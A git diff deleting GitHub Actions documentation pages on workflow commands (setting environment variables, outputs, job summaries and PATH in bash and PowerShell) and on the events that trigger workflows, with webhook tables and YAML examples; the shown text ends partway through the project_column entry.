-> runs-on: windows-latest -> steps: -> - shell: powershell -> run: | -> "mypath" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append -> ``` -> -> PowerShell Core versions 6 and higher (`shell: pwsh`) use UTF-8 by default. For example: -> -> ```yaml copy -> jobs: -> powershell-core-example: -> runs-on: windows-latest -> steps: -> - shell: pwsh -> run: | -> "mypath" >> $env:GITHUB_PATH -> ``` - -{% endpowershell %} - -## Setting an environment variable - -{% data reusables.actions.environment-variables-as-case-sensitive %} - -{% bash %} - -```bash copy -echo "{environment_variable_name}={value}" >> "$GITHUB_ENV" -``` - -{% endbash %} - -{% powershell %} - -* Using PowerShell version 6 and higher: - - ```powershell copy - "{environment_variable_name}={value}" >> $env:GITHUB_ENV - ``` - -* Using PowerShell version 5.1 and below: - - ```powershell copy - "{environment_variable_name}={value}" | Out-File -FilePath $env:GITHUB_ENV -Encoding utf8 -Append - ``` - -{% endpowershell %} - -You can make an environment variable available to any subsequent steps in a workflow job by defining or updating the environment variable and writing this to the `GITHUB_ENV` environment file. The step that creates or updates the environment variable does not have access to the new value, but all subsequent steps in a job will have access. - -{% data reusables.actions.environment-variables-are-fixed %} For more information about the default environment variables, see [AUTOTITLE](/actions/learn-github-actions/environment-variables#default-environment-variables). - -> [!NOTE] -> Due to security restrictions, `GITHUB_ENV` cannot be used to set the `NODE_OPTIONS` environment variable. - -### Example of writing an environment variable to `GITHUB_ENV` - -{% bash %} - -```yaml copy -steps: - - name: Set the value - id: step_one - run: | - echo "action_state=yellow" >> "$GITHUB_ENV" - - name: Use the value - id: step_two - run: | - printf '%s\n' "$action_state" # This will output 'yellow' -``` - -{% endbash %} - -{% powershell %} - -```yaml copy -steps: - - name: Set the value - id: step_one - run: | - "action_state=yellow" >> $env:GITHUB_ENV - - name: Use the value - id: step_two - run: | - Write-Output "$env:action_state" # This will output 'yellow' -``` - -{% endpowershell %} - -### Multiline strings - -For multiline strings, you may use a delimiter with the following syntax. - -```text copy -{name}<<{delimiter} -{value} -{delimiter} -``` - -> [!WARNING] -> Make sure the delimiter you're using won't occur on a line of its own within the value. If the value is completely arbitrary then you shouldn't use this format. Write the value to a file instead. - -#### Example of a multiline string - -This example uses `EOF` as the delimiter, and sets the `JSON_RESPONSE` environment variable to the value of the `curl` response. - -{% bash %} - -```yaml copy -steps: - - name: Set the value in bash - id: step_one - run: | - { - echo 'JSON_RESPONSE<<EOF' - curl https://example.com - echo EOF - } >> "$GITHUB_ENV" -``` - -{% endbash %} - -{% powershell %} - -```yaml copy -steps: - - name: Set the value in pwsh - id: step_one - run: | - $EOF = (New-Guid).Guid - "JSON_RESPONSE<<$EOF" >> $env:GITHUB_ENV - (Invoke-WebRequest -Uri "https://example.com").Content >> $env:GITHUB_ENV - "$EOF" >> $env:GITHUB_ENV - shell: pwsh -``` - -{% endpowershell %} - -## Setting an output parameter - -Sets a step's output parameter. Note that the step will need an `id` to be defined to later retrieve the output value. You can set multi-line output values with the same technique used in the [Multiline strings](/actions/using-workflows/workflow-commands-for-github-actions#multiline-strings) section to define multi-line environment variables. - -{% bash %} - -```bash copy -echo "{name}={value}" >> "$GITHUB_OUTPUT" -``` - -{% endbash %} - -{% powershell %} - -```powershell copy -"{name}=value" >> $env:GITHUB_OUTPUT -``` - -{% endpowershell %} - -### Example of setting an output parameter - -{% bash %} - -This example demonstrates how to set the `SELECTED_COLOR` output parameter and later retrieve it: - -```yaml copy - - name: Set color - id: color-selector - run: echo "SELECTED_COLOR=green" >> "$GITHUB_OUTPUT" - - name: Get color - env:{% raw %} - SELECTED_COLOR: ${{ steps.color-selector.outputs.SELECTED_COLOR }}{% endraw %} - run: echo "The selected color is $SELECTED_COLOR" -``` - -{% endbash %} - -{% powershell %} - -This example demonstrates how to set the `SELECTED_COLOR` output parameter and later retrieve it: - -```yaml copy - - name: Set color - id: color-selector - run: | - "SELECTED_COLOR=green" >> $env:GITHUB_OUTPUT - - name: Get color - env:{% raw %} - SELECTED_COLOR: ${{ steps.color-selector.outputs.SELECTED_COLOR }}{% endraw %} - run: Write-Output "The selected color is $env:SELECTED_COLOR" -``` - -{% endpowershell %} - -## Adding a job summary - -{% bash %} - -```bash copy -echo "{markdown content}" >> $GITHUB_STEP_SUMMARY -``` - -{% endbash %} - -{% powershell %} - -```powershell copy -"{markdown content}" >> $env:GITHUB_STEP_SUMMARY -``` - -{% endpowershell %} - -You can set some custom Markdown for each job so that it will be displayed on the summary page of a workflow run. You can use job summaries to display and group unique content, such as test result summaries, so that someone viewing the result of a workflow run doesn't need to go into the logs to see important information related to the run, such as failures. - -Job summaries support [{% data variables.product.prodname_dotcom %} flavored Markdown](https://github.github.com/gfm/), and you can add your Markdown content for a step to the `GITHUB_STEP_SUMMARY` environment file. `GITHUB_STEP_SUMMARY` is unique for each step in a job. For more information about the per-step file that `GITHUB_STEP_SUMMARY` references, see [Environment files](#environment-files). - -When a job finishes, the summaries for all steps in a job are grouped together into a single job summary and are shown on the workflow run summary page. If multiple jobs generate summaries, the job summaries are ordered by job completion time. - -### Example of adding a job summary - -{% bash %} - -```bash copy -echo "### Hello world! :rocket:" >> $GITHUB_STEP_SUMMARY -``` - -{% endbash %} - -{% powershell %} - -```powershell copy -"### Hello world! :rocket:" >> $env:GITHUB_STEP_SUMMARY -``` - -{% endpowershell %} - -![Screenshot of the summary page of a workflow run. Under "example summary" is "Hello world!" and a rocket emoji.](/assets/images/help/actions/actions-job-summary-simple-example.png) - -### Multiline Markdown content - -For multiline Markdown content, you can use `>>` to continuously append content for the current step. With every append operation, a newline character is automatically added. - -#### Example of multiline Markdown content - -{% bash %} - -```yaml -- name: Generate list using Markdown - run: | - echo "This is the lead in sentence for the list" >> $GITHUB_STEP_SUMMARY - echo "" >> $GITHUB_STEP_SUMMARY # this is a blank line - echo "- Lets add a bullet point" >> $GITHUB_STEP_SUMMARY - echo "- Lets add a second bullet point" >> $GITHUB_STEP_SUMMARY - echo "- How about a third one?" >> $GITHUB_STEP_SUMMARY -``` - -{% endbash %} - -{% powershell %} - -```yaml -- name: Generate list using Markdown - run: | - "This is the lead in sentence for the list" >> $env:GITHUB_STEP_SUMMARY - "" >> $env:GITHUB_STEP_SUMMARY # this is a blank line - "- Lets add a bullet point" >> $env:GITHUB_STEP_SUMMARY - "- Lets add a second bullet point" >> $env:GITHUB_STEP_SUMMARY - "- How about a third one?" >> $env:GITHUB_STEP_SUMMARY -``` - -{% endpowershell %} - -### Overwriting job summaries - -To clear all content for the current step, you can use `>` to overwrite any previously added content in Bash, or remove `-Append` in PowerShell - -#### Example of overwriting job summaries - -{% bash %} - -```yaml -- name: Overwrite Markdown - run: | - echo "Adding some Markdown content" >> $GITHUB_STEP_SUMMARY - echo "There was an error, we need to clear the previous Markdown with some new content." > $GITHUB_STEP_SUMMARY -``` - -{% endbash %} - -{% powershell %} - -```yaml -- name: Overwrite Markdown - run: | - "Adding some Markdown content" >> $env:GITHUB_STEP_SUMMARY - "There was an error, we need to clear the previous Markdown with some new content." >> $env:GITHUB_STEP_SUMMARY -``` - -{% endpowershell %} - -### Removing job summaries - -To completely remove a summary for the current step, the file that `GITHUB_STEP_SUMMARY` references can be deleted. - -#### Example of removing job summaries - -{% bash %} - -```yaml -- name: Delete all summary content - run: | - echo "Adding Markdown content that we want to remove before the step ends" >> $GITHUB_STEP_SUMMARY - rm $GITHUB_STEP_SUMMARY -``` - -{% endbash %} - -{% powershell %} - -```yaml -- name: Delete all summary content - run: | - "Adding Markdown content that we want to remove before the step ends" >> $env:GITHUB_STEP_SUMMARY - Remove-Item $env:GITHUB_STEP_SUMMARY -``` - -{% endpowershell %} - -After a step has completed, job summaries are uploaded and subsequent steps cannot modify previously uploaded Markdown content. Summaries automatically mask any secrets that might have been added accidentally. If a job summary contains sensitive information that must be deleted, you can delete the entire workflow run to remove all its job summaries. For more information see [AUTOTITLE](/actions/managing-workflow-runs/deleting-a-workflow-run). - -### Step isolation and limits - -Job summaries are isolated between steps and each step is restricted to a maximum size of 1MiB. Isolation is enforced between steps so that potentially malformed Markdown from a single step cannot break Markdown rendering for subsequent steps. If more than 1MiB of content is added for a step, then the upload for the step will fail and an error annotation will be created. Upload failures for job summaries do not affect the overall status of a step or a job. A maximum of 20 job summaries from steps are displayed per job. - -## Adding a system path - -Prepends a directory to the system `PATH` variable and automatically makes it available to all subsequent actions in the current job; the currently running action cannot access the updated path variable. To see the currently defined paths for your job, you can use `echo "$PATH"` in a step or an action. - -### Example of adding a system path - -{% bash %} - -This example demonstrates how to add the user `$HOME/.local/bin` directory to `PATH`: - -```bash copy -echo "$HOME/.local/bin" >> "$GITHUB_PATH" -``` - -{% endbash %} - -{% powershell %} - -This example demonstrates how to add the user `$env:HOMEPATH/.local/bin` directory to `PATH`: - -```powershell copy -"$env:HOMEPATH/.local/bin" | Out-File -FilePath "$env:GITHUB_PATH" -Append -``` - -{% endpowershell %} diff --git a/content/actions/writing-workflows/choosing-when-your-workflow-runs/events-that-trigger-workflows.md b/content/actions/writing-workflows/choosing-when-your-workflow-runs/events-that-trigger-workflows.md deleted file mode 100644 index 6ccae4c3bfd1..000000000000 --- a/content/actions/writing-workflows/choosing-when-your-workflow-runs/events-that-trigger-workflows.md +++ /dev/null @@ -1,1379 +0,0 @@ ---- -title: Events that trigger workflows -intro: 'You can configure your workflows to run when specific activity on {% data variables.product.github %} happens, at a scheduled time, or when an event outside of {% data variables.product.github %} occurs.' -redirect_from: - - /articles/events-that-trigger-workflows - - /github/automating-your-workflow-with-github-actions/events-that-trigger-workflows - - /actions/automating-your-workflow-with-github-actions/events-that-trigger-workflows - - /actions/reference/events-that-trigger-workflows - - /actions/learn-github-actions/events-that-trigger-workflows - - /actions/using-workflows/events-that-trigger-workflows -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Events that trigger workflows ---- - -## About events that trigger workflows - -Workflow triggers are events that cause a workflow to run. For more information about how to use workflow triggers, see [AUTOTITLE](/actions/using-workflows/triggering-a-workflow). - -Some events have multiple activity types. For these events, you can specify which activity types will trigger a workflow run. For more information about what each activity type means, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads). - -> [!NOTE] -> Not all webhook events trigger workflows. - -## `branch_protection_rule` - -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | -| --------------------- | -------------- | ------------ | -------------| -| [`branch_protection_rule`](/webhooks-and-events/webhooks/webhook-events-and-payloads#branch_protection_rule) | - `created`<br/>- `edited`<br/>- `deleted` | Last commit on default branch | Default branch | - -> [!NOTE] -> {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads#branch_protection_rule). {% data reusables.developer-site.limit_workflow_to_activity_types %} - -{% data reusables.actions.branch-requirement %} - -Runs your workflow when branch protection rules in the workflow repository are changed. For more information about branch protection rules, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches). For information about the branch protection rule APIs, see [AUTOTITLE](/graphql/reference/objects#branchprotectionrule) in the GraphQL API documentation or [AUTOTITLE](/rest/branches). - -For example, you can run a workflow when a branch protection rule has been `created` or `deleted`: - -```yaml -on: - branch_protection_rule: - types: [created, deleted] -``` - -## `check_run` - -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | -| --------------------- | -------------- | ------------ | -------------| -| [`check_run`](/webhooks-and-events/webhooks/webhook-events-and-payloads#check_run) | - `created`<br/>- `rerequested`<br/>- `completed`<br/>- `requested_action` | Last commit on default branch | Default branch | - -> [!NOTE] -> {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads#check_run). {% data reusables.developer-site.limit_workflow_to_activity_types %} - -{% data reusables.actions.branch-requirement %} - -Runs your workflow when activity related to a check run occurs. A check run is an individual test that is part of a check suite. For information, see [AUTOTITLE](/rest/guides/using-the-rest-api-to-interact-with-checks). For information about the check run APIs, see [AUTOTITLE](/graphql/reference/objects#checkrun) in the GraphQL API documentation or [AUTOTITLE](/rest/checks/runs). - -For example, you can run a workflow when a check run has been `rerequested` or `completed`. - -```yaml -on: - check_run: - types: [rerequested, completed] -``` - -## `check_suite` - -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | -| --------------------- | -------------- | ------------ | -------------| -| [`check_suite`](/webhooks-and-events/webhooks/webhook-events-and-payloads#check_suite) | - `completed` | Last commit on default branch | Default branch | - -> [!NOTE] -> {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads#check_suite). Although only the `completed` activity type is supported, specifying the activity type will keep your workflow specific if more activity types are added in the future. {% data reusables.developer-site.limit_workflow_to_activity_types %} - -{% data reusables.actions.branch-requirement %} - -> [!NOTE] -> To prevent recursive workflows, this event does not trigger workflows if the check suite was created by {% data variables.product.prodname_actions %}. - -Runs your workflow when check suite activity occurs. A check suite is a collection of the check runs created for a specific commit. Check suites summarize the status and conclusion of the check runs that are in the suite. For information, see [AUTOTITLE](/rest/guides/using-the-rest-api-to-interact-with-checks). For information about the check suite APIs, see [AUTOTITLE](/graphql/reference/objects#checksuite) in the GraphQL API documentation or [AUTOTITLE](/rest/checks/suites). - -For example, you can run a workflow when a check suite has been `completed`. - -```yaml -on: - check_suite: - types: [completed] -``` - -## `create` - -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | -| --------------------- | -------------- | ------------ | -------------| -| [`create`](/webhooks-and-events/webhooks/webhook-events-and-payloads#create) | Not applicable | Last commit on the created branch or tag | Branch or tag created | - -> [!NOTE] -> An event will not be created when you create more than three tags at once. - -Runs your workflow when someone creates a Git reference (Git branch or tag) in the workflow's repository. For information about the APIs to create a Git reference, see [AUTOTITLE](/graphql/reference/mutations#createref) in the GraphQL API documentation or [AUTOTITLE](/rest/git/refs#create-a-reference). - -For example, you can run a workflow when the `create` event occurs. - -```yaml -on: - create -``` - -## `delete` - -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | -| --------------------- | -------------- | ------------ | -------------| -| [`delete`](/webhooks-and-events/webhooks/webhook-events-and-payloads#delete) | Not applicable | Last commit on default branch | Default branch | - -{% data reusables.actions.branch-requirement %} - -> [!NOTE] -> An event will not be created when you delete more than three tags at once. - -Runs your workflow when someone deletes a Git reference (Git branch or tag) in the workflow's repository. For information about the APIs to delete a Git reference, see [AUTOTITLE](/graphql/reference/mutations#deleteref) in the GraphQL API documentation or [AUTOTITLE](/rest/git/refs#delete-a-reference). - -For example, you can run a workflow when the `delete` event occurs. - -```yaml -on: - delete -``` - -## `deployment` - -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | -| --------------------- | -------------- | ------------ | -------------| -| [`deployment`](/webhooks-and-events/webhooks/webhook-events-and-payloads#deployment) | Not applicable | Commit to be deployed | Branch or tag to be deployed (empty if created with a commit SHA)| - -Runs your workflow when someone creates a deployment in the workflow's repository. Deployments created with a commit SHA may not have a Git ref. For information about the APIs to create a deployment, see [AUTOTITLE](/graphql/reference/mutations#createdeployment) in the GraphQL API documentation or [AUTOTITLE](/rest/repos#deployments). - -For example, you can run a workflow when the `deployment` event occurs. - -```yaml -on: - deployment -``` - -## `deployment_status` - -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | -| --------------------- | -------------- | ------------ | -------------| -| [`deployment_status`](/webhooks-and-events/webhooks/webhook-events-and-payloads#deployment_status) | Not applicable | Commit to be deployed | Branch or tag to be deployed (empty if commit)| - -> [!NOTE] -> When a deployment status's state is set to `inactive`, a workflow run will not be triggered. - -Runs your workflow when a third party provides a deployment status. Deployments created with a commit SHA may not have a Git ref. For information about the APIs to create a deployment status, see [AUTOTITLE](/graphql/reference/mutations#createdeploymentstatus) in the GraphQL API documentation or [AUTOTITLE](/rest/deployments#create-a-deployment-status). - -For example, you can run a workflow when the `deployment_status` event occurs. - -```yaml -on: - deployment_status -``` - -## `discussion` - -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | -| --------------------- | -------------- | ------------ | -------------| -| [`discussion`](/webhooks-and-events/webhooks/webhook-events-and-payloads#discussion) | - `created`<br/>- `edited`<br/>- `deleted`<br/>- `transferred`<br/>- `pinned`<br/>- `unpinned`<br/>- `labeled`<br/>- `unlabeled`<br/>- `locked`<br/>- `unlocked`<br/>- `category_changed`<br/> - `answered`<br/> - `unanswered` | Last commit on default branch | Default branch | - -> [!NOTE] -> {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads#discussion). {% data reusables.developer-site.limit_workflow_to_activity_types %} - -{% data reusables.actions.branch-requirement %} - -{% data reusables.webhooks.discussions-webhooks-beta %} - -Runs your workflow when a discussion in the workflow's repository is created or modified. For activity related to comments on a discussion, use the [`discussion_comment`](#discussion_comment) event. For more information about discussions, see [AUTOTITLE](/discussions/collaborating-with-your-community-using-discussions/about-discussions). For information about the GraphQL API, see [AUTOTITLE](/graphql/reference/objects#discussion). - -For example, you can run a workflow when a discussion has been `created`, `edited`, or `answered`. - -```yaml -on: - discussion: - types: [created, edited, answered] -``` - -## `discussion_comment` - -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | -| --------------------- | -------------- | ------------ | -------------| -| [`discussion_comment`](/webhooks-and-events/webhooks/webhook-events-and-payloads#discussion_comment) | - `created`<br/>- `edited`<br/>- `deleted`<br/> | Last commit on default branch | Default branch | - -> [!NOTE] -> {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads#discussion_comment). {% data reusables.developer-site.limit_workflow_to_activity_types %} - -{% data reusables.actions.branch-requirement %} - -{% data reusables.webhooks.discussions-webhooks-beta %} - -Runs your workflow when a comment on a discussion in the workflow's repository is created or modified. For activity related to a discussion as opposed to comments on the discussion, use the [`discussion`](#discussion) event. For more information about discussions, see [AUTOTITLE](/discussions/collaborating-with-your-community-using-discussions/about-discussions). For information about the GraphQL API, see [AUTOTITLE](/graphql/reference/objects#discussion). - -For example, you can run a workflow when a discussion comment has been `created` or `deleted`. - -```yaml -on: - discussion_comment: - types: [created, deleted] -``` - -## `fork` - -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | -| --------------------- | -------------- | ------------ | -------------| -| [`fork`](/webhooks-and-events/webhooks/webhook-events-and-payloads#fork) | Not applicable | Last commit on default branch | Default branch | - -{% data reusables.actions.branch-requirement %} - -Runs your workflow when someone forks a repository. For information about the REST API, see [AUTOTITLE](/rest/repos/forks#create-a-fork). - -For example, you can run a workflow when the `fork` event occurs. - -```yaml -on: - fork -``` - -## `gollum` - -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | -| --------------------- | -------------- | ------------ | -------------| -| [`gollum`](/webhooks-and-events/webhooks/webhook-events-and-payloads#gollum) | Not applicable | Last commit on default branch | Default branch | - -{% data reusables.actions.branch-requirement %} - -Runs your workflow when someone creates or updates a Wiki page. For more information, see [AUTOTITLE](/communities/documenting-your-project-with-wikis/about-wikis). - -For example, you can run a workflow when the `gollum` event occurs. - -```yaml -on: - gollum -``` - -## `issue_comment` - -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | -| --------------------- | -------------- | ------------ | -------------| -| [`issue_comment`](/webhooks-and-events/webhooks/webhook-events-and-payloads#issue_comment) | - `created`<br/>- `edited`<br/>- `deleted`<br/> | Last commit on default branch | Default branch | - -> [!NOTE] -> {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads#issue_comment). {% data reusables.developer-site.limit_workflow_to_activity_types %} - -{% data reusables.actions.branch-requirement %} - -Runs your workflow when an issue or pull request comment is created, edited, or deleted. For information about the issue comment APIs, see [AUTOTITLE](/graphql/reference/objects#issuecomment) in the GraphQL API documentation or [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads#issue_comment) in the REST API documentation. - -For example, you can run a workflow when an issue or pull request comment has been `created` or `deleted`. - -```yaml -on: - issue_comment: - types: [created, deleted] -``` - -### `issue_comment` on issues only or pull requests only - -The `issue_comment` event occurs for comments on both issues and pull requests. You can use the `github.event.issue.pull_request` property in a conditional to take different action depending on whether the triggering object was an issue or pull request. - -For example, this workflow will run the `pr_commented` job only if the `issue_comment` event originated from a pull request. It will run the `issue_commented` job only if the `issue_comment` event originated from an issue. - -```yaml -on: issue_comment - -jobs: - pr_commented: - # This job only runs for pull request comments - name: PR comment - if: {% raw %}${{ github.event.issue.pull_request }}{% endraw %} - runs-on: ubuntu-latest - steps: - - run: | - echo A comment on PR $NUMBER - env: - NUMBER: {% raw %}${{ github.event.issue.number }}{% endraw %} - - issue_commented: - # This job only runs for issue comments - name: Issue comment - if: {% raw %}${{ !github.event.issue.pull_request }}{% endraw %} - runs-on: ubuntu-latest - steps: - - run: | - echo A comment on issue $NUMBER - env: - NUMBER: {% raw %}${{ github.event.issue.number }}{% endraw %} -``` - -## `issues` - -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | -| --------------------- | -------------- | ------------ | -------------| -| [`issues`](/webhooks-and-events/webhooks/webhook-events-and-payloads#issues) | - `opened`<br/>- `edited`<br/>- `deleted`<br/>- `transferred`<br/>- `pinned`<br/>- `unpinned`<br/>- `closed`<br/>- `reopened`<br/>- `assigned`<br/>- `unassigned`<br/>- `labeled`<br/>- `unlabeled`<br/>- `locked`<br/>- `unlocked`<br/>- `milestoned`<br/> - `demilestoned` | Last commit on default branch | Default branch | - -> [!NOTE] -> {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads#issues). {% data reusables.developer-site.limit_workflow_to_activity_types %} - -{% data reusables.actions.branch-requirement %} - -Runs your workflow when an issue in the workflow's repository is created or modified. For activity related to comments in an issue, use the [`issue_comment`](#issue_comment) event. For more information about issues, see [AUTOTITLE](/issues/tracking-your-work-with-issues/about-issues). For information about the issue APIs, see [AUTOTITLE](/graphql/reference/objects#issue) in the GraphQL API documentation or [AUTOTITLE](/rest/issues). - -For example, you can run a workflow when an issue has been `opened`, `edited`, or `milestoned`. - -```yaml -on: - issues: - types: [opened, edited, milestoned] -``` - -## `label` - -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | -| --------------------- | -------------- | ------------ | -------------| -| [`label`](/webhooks-and-events/webhooks/webhook-events-and-payloads#label) | - `created`<br/>- `edited`<br/>- `deleted`<br/> | Last commit on default branch | Default branch | - -> [!NOTE] -> {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads#label). {% data reusables.developer-site.limit_workflow_to_activity_types %} - -{% data reusables.actions.branch-requirement %} - -Runs your workflow when a label in your workflow's repository is created or modified. For more information about labels, see [AUTOTITLE](/issues/using-labels-and-milestones-to-track-work/managing-labels). For information about the label APIs, see [AUTOTITLE](/graphql/reference/objects#label) in the GraphQL API documentation or [AUTOTITLE](/rest/issues/labels). - -If you want to run your workflow when a label is added to or removed from an issue, pull request, or discussion, use the `labeled` or `unlabeled` activity types for the [`issues`](#issues), [`pull_request`](#pull_request), [`pull_request_target`](#pull_request_target), or [`discussion`](#discussion) events instead. - -For example, you can run a workflow when a label has been `created` or `deleted`. - -```yaml -on: - label: - types: [created, deleted] -``` - -## `merge_group` - -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | -| --------------------- | -------------- | ------------ | -------------| -| [`merge_group`](/webhooks-and-events/webhooks/webhook-events-and-payloads#merge_group) | `checks_requested` | SHA of the merge group | Ref of the merge group | - -> [!NOTE] -> * {% data reusables.developer-site.multiple_activity_types %} Although only the `checks_requested` activity type is supported, specifying the activity type will keep your workflow specific if more activity types are added in the future. For information about each activity type, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads#merge_group). {% data reusables.developer-site.limit_workflow_to_activity_types %} -> * {% data reusables.actions.merge-group-event-with-required-checks %} - -Runs your workflow when a pull request is added to a merge queue, which adds the pull request to a merge group. For more information see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request-with-a-merge-queue). - -For example, you can run a workflow when the `checks_requested` activity has occurred. - -```yaml -on: - pull_request: - branches: [ "main" ] - merge_group: - types: [checks_requested] -``` - -## `milestone` - -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | -| --------------------- | -------------- | ------------ | -------------| -| [`milestone`](/webhooks-and-events/webhooks/webhook-events-and-payloads#milestone) | - `created`<br/>- `closed`<br/>- `opened`<br/>- `edited`<br/>- `deleted`<br/> | Last commit on default branch | Default branch | - -> [!NOTE] -> {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads#milestone). {% data reusables.developer-site.limit_workflow_to_activity_types %} - -{% data reusables.actions.branch-requirement %} - -Runs your workflow when a milestone in the workflow's repository is created or modified. For more information about milestones, see [AUTOTITLE](/issues/using-labels-and-milestones-to-track-work/about-milestones). For information about the milestone APIs, see [AUTOTITLE](/graphql/reference/objects#milestone) in the GraphQL API documentation or [AUTOTITLE](/rest/issues/milestones). - -If you want to run your workflow when an issue is added to or removed from a milestone, use the `milestoned` or `demilestoned` activity types for the [`issues`](#issues) event instead. - -For example, you can run a workflow when a milestone has been `opened` or `deleted`. - -```yaml -on: - milestone: - types: [opened, deleted] -``` - -## `page_build` - -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | -| --------------------- | -------------- | ------------ | -------------| -| [`page_build`](/webhooks-and-events/webhooks/webhook-events-and-payloads#page_build) | Not applicable | Last commit on default branch | Not applicable | - -{% data reusables.actions.branch-requirement %} - -Runs your workflow when someone pushes to a branch that is the publishing source for {% data variables.product.prodname_pages %}, if {% data variables.product.prodname_pages %} is enabled for the repository. For more information about {% data variables.product.prodname_pages %} publishing sources, see [AUTOTITLE](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site). For information about the REST API, see [AUTOTITLE](/rest/repos#pages). - -For example, you can run a workflow when the `page_build` event occurs. - -```yaml -on: - page_build -``` - -{% ifversion projects-v1 %} - -## `project` - -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | -| --------------------- | -------------- | ------------ | -------------| -| [`project`](/webhooks-and-events/webhooks/webhook-events-and-payloads#project) | - `created`<br/>- `closed`<br/>- `reopened`<br/>- `edited`<br/>- `deleted`<br/> | Last commit on default branch | Default branch | - -> [!NOTE] -> {% data reusables.developer-site.multiple_activity_types %} The `edited` activity type refers to when a {% data variables.projects.projects_v1_board %}, not a column or card on the {% data variables.projects.projects_v1_board %}, is edited. For information about each activity type, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads#project). {% data reusables.developer-site.limit_workflow_to_activity_types %} - -{% data reusables.actions.branch-requirement %} - -> [!NOTE] -> This event only occurs for projects owned by the workflow's repository, not for organization-owned or user-owned projects or for projects owned by another repository. - -{% ifversion fpt or ghec %} - -> [!NOTE] -> This event only occurs for {% data variables.product.prodname_projects_v1 %}. - -{% endif %} - -Runs your workflow when a {% data variables.projects.projects_v1_board %} is created or modified. For activity related to cards or columns in a {% data variables.projects.projects_v1_board %}, use the [`project_card`](#project_card) or [`project_column`](#project_column) events instead. For more information about {% data variables.projects.projects_v1_boards %}, see [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards). For information about the {% data variables.projects.projects_v1_board %} APIs, see [AUTOTITLE](/graphql/reference/objects#project) in the GraphQL API documentation or [AUTOTITLE](/rest/projects). - -For example, you can run a workflow when a project has been `created` or `deleted`. - -```yaml -on: - project: - types: [created, deleted] -``` - -## `project_card` - -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | -| --------------------- | -------------- | ------------ | -------------| -| [`project_card`](/webhooks-and-events/webhooks/webhook-events-and-payloads#project_card) | - `created`<br/>- `moved`<br/>- `converted` to an issue<br/>- `edited`<br/>- `deleted` | Last commit on default branch | Default branch | - -> [!NOTE] -> {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads#project_card). {% data reusables.developer-site.limit_workflow_to_activity_types %} - -{% data reusables.actions.branch-requirement %} - -> [!NOTE] -> This event only occurs for projects owned by the workflow's repository, not for organization-owned or user-owned projects or for projects owned by another repository. - -{% ifversion fpt or ghec %} - -> [!NOTE] -> This event only occurs for {% data variables.product.prodname_projects_v1 %}. - -{% endif %} - -Runs your workflow when a card on a {% data variables.projects.projects_v1_board %} is created or modified. For activity related to {% data variables.projects.projects_v1_boards %} or columns in a {% data variables.projects.projects_v1_board %}, use the [`project`](#project) or [`project_column`](#project_column) event instead. For more information about {% data variables.projects.projects_v1_boards %}, see [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards). For information about the project card APIs, see [AUTOTITLE](/graphql/reference/objects#projectcard) in the GraphQL API documentation or [AUTOTITLE](/rest/projects/cards). - -For example, you can run a workflow when a project card has been `created` or `deleted`. - -```yaml -on: - project_card: - types: [created, deleted] -``` - -## `project_column` - -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | -| --------------------- | -------------- | ------------ | -------------| -| [`project_column`](/webhooks-and-events/webhooks/webhook-events-and-payloads#project_column) | - `created`<br/>- `updated`<br/>- `moved`<br/>- `deleted` | Last 